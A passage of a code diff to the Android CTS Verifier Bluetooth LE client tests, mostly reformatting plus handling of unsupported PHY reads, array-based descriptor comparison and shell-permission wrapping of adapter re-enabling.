+ WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
} else {
notifyError("Failed to write characteristic: " + status + " : " + uid);
}
@@ -1181,7 +1239,8 @@
}
@Override
- public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
+ public void onCharacteristicRead(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic, int status) {
super.onCharacteristicRead(gatt, characteristic, status);
// Note: Both this method and onCharacteristicRead(byte[]) will be called.
UUID uid = characteristic.getUuid();
@@ -1213,12 +1272,13 @@
}
} else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
if (uid.equals(CHARACTERISTIC_NO_READ_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.READ_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.READ_NO_PERMISSION);
notifyCharacteristicReadNoPermission();
} else {
notifyError("Not Permission Read: " + status + " : " + uid);
}
- } else if(status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+ } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
notifyError("Not Authentication Read: " + status + " : " + uid);
} else {
notifyError("Failed to read characteristic: " + status + " : " + uid);
@@ -1226,7 +1286,8 @@
}
@Override
- public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+ public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+ int status) {
super.onDescriptorWrite(gatt, descriptor, status);
if (DEBUG) {
Log.d(TAG, "onDescriptorWrite");
@@ -1235,7 +1296,8 @@
if ((status == BluetoothGatt.GATT_SUCCESS)) {
if (uid.equals(UPDATE_DESCRIPTOR_UUID)) {
Log.d(TAG, "write in update descriptor.");
- if (descriptor.getValue() == BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE) {
+ if (Arrays.equals(descriptor.getValue(),
+ BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE)) {
notifyDisableNotificationCompletion();
}
} else if (uid.equals(DESCRIPTOR_UUID)) {
@@ -1250,7 +1312,8 @@
}
} else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
if (uid.equals(DESCRIPTOR_NO_WRITE_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
notifyDescriptorWriteNoPermission();
} else {
notifyError("Not Permission Write: " + status + " : " + descriptor.getUuid());
@@ -1261,7 +1324,8 @@
}
@Override
- public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+ public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+ int status) {
super.onDescriptorRead(gatt, descriptor, status);
// Note: Both this method and onDescriptorRead(byte[]) will be called.
if (DEBUG) {
@@ -1292,7 +1356,8 @@
}
} else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
if (uid.equals(DESCRIPTOR_NO_READ_UUID)) {
- writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
notifyDescriptorReadNoPermission();
} else {
notifyError("Not Permission Read: " + status + " : " + descriptor.getUuid());
@@ -1303,7 +1368,8 @@
}
@Override
- public void onCharacteristicChanged(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic) {
+ public void onCharacteristicChanged(BluetoothGatt gatt,
+ BluetoothGattCharacteristic characteristic) {
super.onCharacteristicChanged(gatt, characteristic);
UUID uid = characteristic.getUuid();
// Note: Both this method and onCharacteristicChanged(byte[]) will be called.
@@ -1371,10 +1437,12 @@
public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
super.onPhyRead(gatt, txPhy, rxPhy, status);
if (DEBUG) {
- Log.d(TAG, "onPhyRead");
+ Log.d(TAG, "onPhyRead status=" + status);
}
if (status == BluetoothGatt.GATT_SUCCESS) {
notifyPhyRead(txPhy, rxPhy);
+ } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) {
+ notifyPhyReadSkipped();
} else {
notifyError("Failed to read phy");
}
@@ -1427,10 +1495,12 @@
notifyError("Failed to call create bond");
}
} else {
- mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+ mBluetoothGatt = connectGatt(result.getDevice(), mContext, false,
+ mSecure, mGattCallbacks);
}
} else {
- mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+ mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure,
+ mGattCallbacks);
}
} else {
notifyError("There is no validity to Advertise servie.");
@@ -1460,7 +1530,7 @@
builder.append("REQUEST_MTU");
int len = length - builder.length();
for (int i = 0; i < len; ++i) {
- builder.append(""+(i%10));
+ builder.append("" + (i % 10));
}
return builder.toString();
}
@@ -1470,17 +1540,18 @@
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
- int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
+ int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+ BluetoothDevice.BOND_NONE);
switch (state) {
case BluetoothDevice.BOND_BONDED:
if ((mBluetoothGatt == null) &&
- (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+ (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
if (DEBUG) {
Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
- + device + ", mSecure=" + mSecure);
+ + device + ", mSecure=" + mSecure);
}
mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
- mGattCallbacks);
+ mGattCallbacks);
}
break;
case BluetoothDevice.BOND_NONE:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 7cdf1d3..2a7c8b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -16,6 +16,8 @@
package com.android.cts.verifier.bluetooth;
+import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;
+
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.ProgressDialog;
@@ -31,6 +33,7 @@
import android.util.Log;
import android.widget.ListView;
+
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -124,6 +127,7 @@
filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
filter.addAction(BleClientService.BLE_PHY_READ);
+ filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED);
filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
@@ -225,177 +229,185 @@
String newAction = null;
String actionName = null;
long previousPassed = mPassed;
- final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+ final Intent startIntent = new Intent(BleClientTestBaseActivity.this,
+ BleClientService.class);
if (action != null) {
Log.d(TAG, "Processing " + action);
}
switch (action) {
- case BleClientService.BLE_BLUETOOTH_DISABLED:
- showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
- break;
- case BleClientService.BLE_BLUETOOTH_CONNECTED:
- actionName = getString(R.string.ble_client_connect_name);
- mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
- mPassed |= PASS_FLAG_CONNECT;
- // execute service discovery test
- newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
- break;
- case BleClientService.BLE_SERVICES_DISCOVERED:
- actionName = getString(R.string.ble_discover_service_name);
- mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
- mPassed |= PASS_FLAG_DISCOVER;
- // execute MTU requesting test (23bytes)
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
- break;
- case BleClientService.BLE_MTU_CHANGED_23BYTES:
- actionName = getString(R.string.ble_mtu_23_name);
- mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
- mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
- // execute MTU requesting test (512bytes)
- newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_MTU_CHANGED_512BYTES:
- actionName = getString(R.string.ble_mtu_512_name);
- mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
- mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
- // execute characteristic reading test
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
- break;
- case BleClientService.BLE_CHARACTERISTIC_READ:
- actionName = getString(R.string.ble_read_characteristic_name);
- mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
- mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
- // execute characteristic writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
- break;
- case BleClientService.BLE_CHARACTERISTIC_WRITE:
- actionName = getString(R.string.ble_write_characteristic_name);
- mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
- mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
- newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
- actionName = getString(R.string.ble_read_characteristic_nopermission_name);
- mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
- mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
- // execute unpermitted characteristic writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
- break;
- case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
- actionName = getString(R.string.ble_write_characteristic_nopermission_name);
- mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
- mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
- // execute reliable write test
- newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
- actionName = getString(R.string.ble_reliable_write_name);
- mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
- mPassed |= PASS_FLAG_RELIABLE_WRITE;
+ case BleClientService.BLE_BLUETOOTH_DISABLED:
+ showErrorDialog(R.string.ble_bluetooth_disable_title,
+ R.string.ble_bluetooth_disable_message, true);
+ break;
+ case BleClientService.BLE_BLUETOOTH_CONNECTED:
+ actionName = getString(R.string.ble_client_connect_name);
+ mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
+ mPassed |= PASS_FLAG_CONNECT;
+ // execute service discovery test
+ newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
+ break;
+ case BleClientService.BLE_SERVICES_DISCOVERED:
+ actionName = getString(R.string.ble_discover_service_name);
+ mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
+ mPassed |= PASS_FLAG_DISCOVER;
+ // execute MTU requesting test (23bytes)
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
+ break;
+ case BleClientService.BLE_MTU_CHANGED_23BYTES:
+ actionName = getString(R.string.ble_mtu_23_name);
+ mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
+ mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+ // execute MTU requesting test (512bytes)
+ newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_MTU_CHANGED_512BYTES:
+ actionName = getString(R.string.ble_mtu_512_name);
+ mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
+ mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+ // execute characteristic reading test
+ newAction =
+ BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_READ:
+ actionName = getString(R.string.ble_read_characteristic_name);
+ mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+ // execute characteristic writing test
+ newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_WRITE:
+ actionName = getString(R.string.ble_write_characteristic_name);
+ mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+ newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
+ actionName = getString(R.string.ble_read_characteristic_nopermission_name);
+ mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
+ mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+ // execute unpermitted characteristic writing test
+ newAction =
+ BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
+ actionName = getString(R.string.ble_write_characteristic_nopermission_name);
+ mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
+ mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+ // execute reliable write test
+ newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
+ actionName = getString(R.string.ble_reliable_write_name);
+ mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
+ mPassed |= PASS_FLAG_RELIABLE_WRITE;
// newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP;
- // skip Reliable write (bad response) test
- mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
- Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
- newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
- actionName = getString(R.string.ble_reliable_write_bad_resp_name);
- if(!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+ // skip Reliable write (bad response) test
mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
- mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+ Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
+ newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
+ actionName = getString(R.string.ble_reliable_write_bad_resp_name);
+ if (!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+ mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+ mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+ }
+ // execute notification test
+ newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+ showProgressDialog = true;
}
- // execute notification test
- newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
- showProgressDialog = true;
- }
break;
- case BleClientService.BLE_CHARACTERISTIC_CHANGED:
- actionName = getString(R.string.ble_notify_characteristic_name);
- mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
- mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
- // execute indication test
- newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
- showProgressDialog = true;
- break;
- case BleClientService.BLE_CHARACTERISTIC_INDICATED:
- actionName = getString(R.string.ble_indicate_characteristic_name);
- mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
- mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
- // execute descriptor reading test
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
- break;
- case BleClientService.BLE_DESCRIPTOR_READ:
- actionName = getString(R.string.ble_read_descriptor_name);
- mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
- mPassed |= PASS_FLAG_READ_DESCRIPTOR;
- // execute descriptor writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
- break;
- case BleClientService.BLE_DESCRIPTOR_WRITE:
- actionName = getString(R.string.ble_write_descriptor_name);
- mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
- mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
- // execute unpermitted descriptor reading test
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
- break;
- case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
- actionName = getString(R.string.ble_read_descriptor_nopermission_name);
- mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
- mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
- // execute unpermitted descriptor writing test
- newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
- break;
- case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
- actionName = getString(R.string.ble_write_descriptor_nopermission_name);
- mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
- mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+ case BleClientService.BLE_CHARACTERISTIC_CHANGED:
+ actionName = getString(R.string.ble_notify_characteristic_name);
+ mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+ // execute indication test
+ newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
+ showProgressDialog = true;
+ break;
+ case BleClientService.BLE_CHARACTERISTIC_INDICATED:
+ actionName = getString(R.string.ble_indicate_characteristic_name);
+ mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
+ mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+ // execute descriptor reading test
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_READ:
+ actionName = getString(R.string.ble_read_descriptor_name);
+ mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
+ mPassed |= PASS_FLAG_READ_DESCRIPTOR;
+ // execute descriptor writing test
+ newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_WRITE:
+ actionName = getString(R.string.ble_write_descriptor_name);
+ mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
+ mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+ // execute unpermitted descriptor reading test
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
+ actionName = getString(R.string.ble_read_descriptor_nopermission_name);
+ mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
+ mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+ // execute unpermitted descriptor writing test
+ newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
+ break;
+ case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
+ actionName = getString(R.string.ble_write_descriptor_nopermission_name);
+ mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
+ mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
// TODO: too flaky b/34951749
- // execute RSSI requesting test
- // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
- mPassed |= PASS_FLAG_READ_RSSI;
- Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
- break;
- case BleClientService.BLE_READ_REMOTE_RSSI:
- actionName = getString(R.string.ble_read_rssi_name);
- mTestAdapter.setTestPass(BLE_READ_RSSI);
- mPassed |= PASS_FLAG_READ_RSSI;
- newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
- break;
- case BleClientService.BLE_PHY_READ:
- actionName = getString(R.string.ble_read_phy_name);
- mTestAdapter.setTestPass(BLE_READ_PHY);
- mPassed |= PASS_FLAG_READ_PHY;
- newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
- break;
- case BleClientService.BLE_ON_SERVICE_CHANGED:
- actionName = getString(R.string.ble_on_service_changed);
- mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
- mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
- newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
- break;
- case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
- mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
- mPassed |= PASS_FLAG_DISCONNECT;
- // all test done
- newAction = null;
- break;
- case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
- showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
- break;
- case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
- showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
- break;
+ // execute RSSI requesting test
+ // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
+ mPassed |= PASS_FLAG_READ_RSSI;
+ Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+ break;
+ case BleClientService.BLE_READ_REMOTE_RSSI:
+ actionName = getString(R.string.ble_read_rssi_name);
+ mTestAdapter.setTestPass(BLE_READ_RSSI);
+ mPassed |= PASS_FLAG_READ_RSSI;
+ newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+ break;
+ case BleClientService.BLE_PHY_READ:
+ case BleClientService.BLE_PHY_READ_SKIPPED:
+ actionName = getString(R.string.ble_read_phy_name);
+ mTestAdapter.setTestPass(BLE_READ_PHY);
+ mPassed |= PASS_FLAG_READ_PHY;
+ newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+ break;
+ case BleClientService.BLE_ON_SERVICE_CHANGED:
+ actionName = getString(R.string.ble_on_service_changed);
+ mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+ mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
+ newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+ break;
+ case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
+ mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
+ mPassed |= PASS_FLAG_DISCONNECT;
+ // all test done
+ newAction = null;
+ break;
+ case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+ R.string.ble_bluetooth_mismatch_secure_message, true);
+ break;
+ case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+ R.string.ble_bluetooth_mismatch_insecure_message, true);
+ break;
}
if (previousPassed != mPassed) {
- String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
- previousPassed, mPassed, mPassed ^ previousPassed);
+ String logMessage = String.format(
+ "Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+ previousPassed, mPassed, mPassed ^ previousPassed);
Log.d(TAG, logMessage);
}
@@ -435,17 +447,14 @@
if (mPassed == PASS_FLAG_ALL) {
Log.d(TAG, "All Tests Passed.");
- if (shouldRebootBluetoothAfterTest()) {
- mBtPowerSwitcher.executeSwitching();
- } else {
- getPassButton().setEnabled(true);
- }
+ getPassButton().setEnabled(true);
}
}
};
private static final long BT_ON_DELAY = 10000;
private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
private class BluetoothPowerSwitcher extends BroadcastReceiver {
private boolean mIsSwitching = false;
@@ -453,7 +462,8 @@
public void executeSwitching() {
if (mAdapter == null) {
- BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+ BluetoothManager btMgr = (BluetoothManager) getSystemService(
+ Context.BLUETOOTH_SERVICE);
mAdapter = btMgr.getAdapter();
}
@@ -476,12 +486,8 @@
if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
if (state == BluetoothAdapter.STATE_OFF) {
- mHandler.postDelayed(new Runnable() {
- @Override
- public void run() {
- mAdapter.enable();
- }
- }, BT_ON_DELAY);
+ mHandler.postDelayed(() ->
+ invokeWithShellPermissions(() -> mAdapter.enable()), BT_ON_DELAY);
} else if (state == BluetoothAdapter.STATE_ON) {
mIsSwitching = false;
unregisterReceiver(this);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 9119aae..4f4e2da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -19,8 +19,6 @@
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.ProgressDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothManager;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
@@ -28,6 +26,8 @@
import android.content.IntentFilter;
import android.os.Bundle;
import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
import android.widget.ListView;
import android.widget.Toast;
@@ -39,11 +39,14 @@
public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {
+ public static final int DISABLE_ADAPTER = 0;
+
private TestAdapter mTestAdapter;
private boolean mPassed = false;
private Dialog mDialog;
private static final int BLE_CONNECTION_UPDATE = 0;
+ public static final String TAG = BleConnectionPriorityClientBaseActivity.class.getSimpleName();
private static final int ALL_PASSED = 0x1;
@@ -57,8 +60,10 @@
super.onCreate(savedInstanceState);
setContentView(R.layout.ble_connection_priority_client_test);
setPassFailButtonClickListeners();
- setInfoResources(R.string.ble_connection_priority_client_name,
- R.string.ble_connection_priority_client_info, -1);
+ setInfoResources(
+ R.string.ble_connection_priority_client_name,
+ R.string.ble_connection_priority_client_info,
+ -1);
getPassButton().setEnabled(false);
mHandler = new Handler();
@@ -117,16 +122,16 @@
}
private void showErrorDialog(int titleId, int messageId, boolean finish) {
- AlertDialog.Builder builder = new AlertDialog.Builder(this)
- .setTitle(titleId)
- .setMessage(messageId);
+ AlertDialog.Builder builder =
+ new AlertDialog.Builder(this).setTitle(titleId).setMessage(messageId);
if (finish) {
- builder.setOnCancelListener(new Dialog.OnCancelListener() {
- @Override
- public void onCancel(DialogInterface dialog) {
- finish();
- }
- });
+ builder.setOnCancelListener(
+ new Dialog.OnCancelListener() {
+ @Override
+ public void onCancel(DialogInterface dialog) {
+ finish();
+ }
+ });
}
builder.create().show();
}
@@ -138,25 +143,31 @@
}
private void executeNextTest(long delay) {
- mHandler.postDelayed(new Runnable() {
- @Override
- public void run() {
- executeNextTestImpl();
- }
- }, delay);
+ mHandler.postDelayed(
+ new Runnable() {
+ @Override
+ public void run() {
+ executeNextTestImpl();
+ }
+ },
+ delay);
}
+
private void executeNextTestImpl() {
switch (mCurrentTest) {
- case -1: {
+ case -1:
+ {
mCurrentTest = BLE_CONNECTION_UPDATE;
Intent intent = new Intent(this, BleConnectionPriorityClientService.class);
- intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);
+ intent.setAction(
+ BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);
startService(intent);
String msg = getString(R.string.ble_client_connection_priority);
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
